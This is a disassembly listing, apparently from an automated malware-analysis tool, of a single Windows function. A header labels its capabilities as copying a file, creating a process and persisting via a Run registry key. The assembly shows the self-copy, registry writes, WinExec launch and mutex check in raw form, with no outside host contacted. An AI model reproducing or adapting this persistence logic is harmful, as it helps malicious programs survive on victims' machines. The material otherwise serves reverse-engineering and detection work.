Function at 0x1315b9e0
Capabilities:
Copy file
Create process on windows
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xd
push 0
push 0
dec ecx
jne 0x1315b9e8
push ecx
push ebx
push esi
push edi
mov eax, 0x1315b920
call fcn.13145a0c
xor eax, eax
push ebp
push 0x1315bed6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
call fcn.13159fc4
mov eax, dword [ebp - 0x14]
call fcn.1315b004
imul eax, dword [0x1315daa4], 0x3e8
push eax
call sub.kernel32.dll_Sleep
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.13142950
mov eax, dword [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
call fcn.1315a0c4
mov edx, dword [ebp - 0x1c]
pop eax
call fcn.131441b8
je 0x1315ba7a
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.13142950
mov eax, dword [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
call fcn.1315af8c
lea eax, [ebp - 0x24]
mov edx, 0x1315bef0
call fcn.13144074
mov edx, dword [ebp - 0x24]
pop eax
call fcn.131441b8
jne 0x1315ba84
mov dword [0x1315c3f8], 0xffffffff
cmp dword [0x1315c3f8], 1
sbb eax, eax
inc eax
test al, al
jne 0x1315bac5
cmp dword [0x1315dac4], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x1315bac5
cmp dword [0x1315dab0], 1
sbb eax, eax
inc eax
test al, al
jne 0x1315bac5
lea edx, [ebp - 0x28]
xor eax, eax
call fcn.13142950
mov eax, dword [ebp - 0x28]
mov edx, 2
call fcn.13147578
cmp dword [0x1315dad8], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x1315bb38
cmp dword [0x1315dab0], 1
sbb eax, eax
inc eax
test al, al
jne 0x1315bb38
cmp dword [0x1315c3f8], 1
sbb eax, eax
inc eax
test al, al
jne 0x1315bb38
push 0x1315bf08
lea edx, [ebp - 0x30]
xor eax, eax
call fcn.13142950
push dword [ebp - 0x30]
push 0x1315bf14
lea eax, [ebp - 0x2c]
mov edx, 3
call fcn.1314412c
mov eax, dword [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
mov ecx, dword [0x1315dae0]
mov edx, 0x1315bf2c
call fcn.131440b8
mov edx, dword [ebp - 0x34]
mov eax, 0x80000002
pop ecx
call fcn.13159390
cmp dword [0x1315dadc], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x1315bbab
cmp dword [0x1315dab0], 1
sbb eax, eax
inc eax
test al, al
jne 0x1315bbab
cmp dword [0x1315c3f8], 1
sbb eax, eax
inc eax
test al, al
jne 0x1315bbab
push 0x1315bf08
lea edx, [ebp - 0x3c]
xor eax, eax
call fcn.13142950
push dword [ebp - 0x3c]
push 0x1315bf14
lea eax, [ebp - 0x38]
mov edx, 3
call fcn.1314412c
mov eax, dword [ebp - 0x38]
push eax
lea eax, [ebp - 0x40]
mov ecx, dword [0x1315dae4]
mov edx, 0x1315bf2c
call fcn.131440b8
mov edx, dword [ebp - 0x40]
mov eax, 0x80000001
pop ecx
call fcn.13159390
lea edx, [ebp - 0x44]
mov eax, 1
call fcn.13142950
mov eax, dword [ebp - 0x44]
mov edx, 0x1315bf64
call fcn.131441b8
je 0x1315bbe3
lea edx, [ebp - 0x48]
mov eax, 1
call fcn.13142950
mov eax, dword [ebp - 0x48]
mov edx, 0x1315bf78
call fcn.131441b8
jne 0x1315bbea
xor eax, eax
mov dword [0x1315dab0], eax
cmp dword [0x1315dab0], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x1315bdc0
lea edx, [ebp - 0x4c]
xor eax, eax
call fcn.13142950
mov edx, dword [ebp - 0x4c]
mov eax, dword [0x1315dab8]
call fcn.131441b8
je 0x1315bdc0
cmp dword [0x1315c3f8], 1
sbb eax, eax
inc eax
test al, al
jne 0x1315bdc0
lea eax, [ebp - 0x50]
mov ecx, dword [0x1315dab4]
mov edx, dword [0x1315dac8]
call fcn.131440b8
mov eax, dword [ebp - 0x50]
call fcn.1314770c
push 0
mov eax, dword [0x1315dab8]
call fcn.1314426c
push eax
lea edx, [ebp - 0x54]
xor eax, eax
call fcn.13142950
mov eax, dword [ebp - 0x54]
call fcn.1314426c
push eax
call sub.kernel32.dll_CopyFileA
cmp dword [0x1315dad8], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x1315bcbc
push 0x1315bf08
push dword [0x1315dab8]
push 0x1315bf8c
lea eax, [ebp - 0x58]
mov edx, 3
call fcn.1314412c
mov eax, dword [ebp - 0x58]
push eax
lea eax, [ebp - 0x5c]
mov ecx, dword [0x1315dae0]
mov edx, 0x1315bf2c
call fcn.131440b8
mov edx, dword [ebp - 0x5c]
mov eax, 0x80000002
pop ecx
call fcn.13159390
cmp dword [0x1315dadc], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x1315bd0c
push 0x1315bf08
push dword [0x1315dab8]
push 0x1315bf14
lea eax, [ebp - 0x60]
mov edx, 3
call fcn.1314412c
mov eax, dword [ebp - 0x60]
push eax
lea eax, [ebp - 0x64]
mov ecx, dword [0x1315dae4]
mov edx, 0x1315bf2c
call fcn.131440b8
mov edx, dword [ebp - 0x64]
mov eax, 0x80000001
pop ecx
call fcn.13159390
cmp dword [0x1315dac4], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x1315bd52
xor eax, eax
push ebp
push 0x1315bd41
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 2
mov eax, dword [0x1315dab8]
call fcn.13147578
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1315bd52
cmp dword [0x1315dac0], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x1315bd6a
mov eax, 0x1315bfa4
call fcn.1315a454
cmp dword [0x1315daf0], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x1315bd9b
push 1
lea eax, [ebp - 0x68]
mov ecx, 0x1315bfb4
mov edx, dword [0x1315dab8]
call fcn.131440b8
mov eax, dword [ebp - 0x68]
call fcn.1314426c
push eax
call sub.kernel32.dll_WinExec
cmp dword [0x1315daf0], 1
sbb eax, eax
inc eax
test al, al
jne 0x1315bdbb
push 1
mov eax, dword [0x1315dab8]
call fcn.1314426c
push eax
call sub.kernel32.dll_WinExec
call fcn.13143cbc
cmp dword [0x1315dacc], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x1315bdf8
mov eax, dword [0x1315c3fc]
push eax
push 0
push 0
call fcn.13145b60
mov dword [0x1315da90], eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
je 0x1315bdf8
mov eax, 0x1315bfc8
call fcn.1315a454
cmp dword [0x1315dad0], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x1315be40
cmp dword [0x1315c3f8], 1
sbb eax, eax
inc eax
test al, al
jne 0x1315be40
lea edx, [ebp - 0x6c]
xor eax, eax
call fcn.13142950
mov eax, dword [ebp - 0x6c]
mov edx, 0x1315da98
call fcn.1315a268
mov edx, dword [0x1315da98]
mov eax, dword [0x1315dad4]
call fcn.13158c28
call fcn.13143cbc
mov eax, dword [0x1315daac]
call fcn.1314426c
push eax
push 0
push 0
call fcn.13145b60
mov ebx, eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x1315be6f
push ebx
call sub.kernel32.dll_CloseHandle
push 0
call sub.kernel32.dll_ExitProcess_1
call fcn.1315a8cc
call fcn.1315a9ec
push fcn.1315a9ec
push 0xfa0
push 0
push 0
call sub.user32.dll_SetTimer
mov dword [0x1315da94], eax
jmp 0x1315bea7
push 0x1315da6c
call sub.user32.dll_TranslateMessage
push 0x1315da6c
call sub.user32.dll_DispatchMessageA
push 0
push 0
push 0
push 0x1315da6c
call sub.user32.dll_GetMessageA
test eax, eax
jne 0x1315be93
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1315bedd
lea eax, [ebp - 0x6c]
mov edx, 0x17
call fcn.13143dd0
ret